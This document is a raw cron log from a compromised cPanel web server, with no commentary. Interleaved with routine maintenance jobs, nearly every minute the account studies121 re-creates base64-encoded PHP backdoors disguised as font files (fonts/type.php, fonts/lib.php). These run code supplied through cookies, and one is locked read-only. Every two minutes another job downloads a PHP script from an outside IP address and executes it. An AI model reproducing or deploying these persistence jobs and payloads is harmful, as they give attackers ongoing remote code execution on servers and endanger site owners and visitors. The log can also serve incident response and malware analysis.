Sep  1 06:12:01 ip-184-168-122-23 CROND[655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:13:02 ip-184-168-122-23 CROND[766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:13:02 ip-184-168-122-23 CROND[765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:13:02 ip-184-168-122-23 CROND[768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:13:02 ip-184-168-122-23 CROND[772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:14:01 ip-184-168-122-23 CROND[903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:14:01 ip-184-168-122-23 CROND[906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:14:01 ip-184-168-122-23 CROND[904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:14:01 ip-184-168-122-23 CROND[902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:14:01 ip-184-168-122-23 CROND[905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:15:01 ip-184-168-122-23 CROND[1022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:15:01 ip-184-168-122-23 CROND[1026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:15:01 ip-184-168-122-23 CROND[1024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:15:01 ip-184-168-122-23 CROND[1025]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 06:15:01 ip-184-168-122-23 CROND[1029]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 06:15:01 ip-184-168-122-23 CROND[1030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:15:01 ip-184-168-122-23 CROND[1027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:15:01 ip-184-168-122-23 CROND[1028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:16:02 ip-184-168-122-23 CROND[1162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:16:02 ip-184-168-122-23 CROND[1164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:16:02 ip-184-168-122-23 CROND[1163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:16:02 ip-184-168-122-23 CROND[1167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:16:02 ip-184-168-122-23 CROND[1169]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:16:02 ip-184-168-122-23 CROND[1170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:17:01 ip-184-168-122-23 CROND[1395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:17:01 ip-184-168-122-23 CROND[1398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:17:01 ip-184-168-122-23 CROND[1397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:17:01 ip-184-168-122-23 CROND[1399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:18:01 ip-184-168-122-23 CROND[1595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:18:01 ip-184-168-122-23 CROND[1594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:18:01 ip-184-168-122-23 CROND[1593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:18:01 ip-184-168-122-23 CROND[1596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:18:01 ip-184-168-122-23 CROND[1592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:19:01 ip-184-168-122-23 CROND[1708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:19:01 ip-184-168-122-23 CROND[1711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:19:01 ip-184-168-122-23 CROND[1710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:19:01 ip-184-168-122-23 CROND[1712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:20:01 ip-184-168-122-23 CROND[1820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:20:01 ip-184-168-122-23 CROND[1821]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:20:01 ip-184-168-122-23 CROND[1822]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:20:01 ip-184-168-122-23 CROND[1825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:20:01 ip-184-168-122-23 CROND[1829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:20:01 ip-184-168-122-23 CROND[1830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:20:01 ip-184-168-122-23 CROND[1839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:20:01 ip-184-168-122-23 CROND[1840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:20:01 ip-184-168-122-23 CROND[1831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:21:01 ip-184-168-122-23 CROND[1958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:21:01 ip-184-168-122-23 CROND[1959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:21:01 ip-184-168-122-23 CROND[1962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:21:01 ip-184-168-122-23 CROND[1961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:22:01 ip-184-168-122-23 CROND[2139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:22:01 ip-184-168-122-23 CROND[2142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:22:01 ip-184-168-122-23 CROND[2143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:22:01 ip-184-168-122-23 CROND[2141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:22:01 ip-184-168-122-23 CROND[2144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:23:01 ip-184-168-122-23 CROND[2263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:23:01 ip-184-168-122-23 CROND[2266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:23:01 ip-184-168-122-23 CROND[2267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:23:01 ip-184-168-122-23 CROND[2265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:24:01 ip-184-168-122-23 CROND[2377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:24:01 ip-184-168-122-23 CROND[2379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:24:01 ip-184-168-122-23 CROND[2382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:24:01 ip-184-168-122-23 CROND[2381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
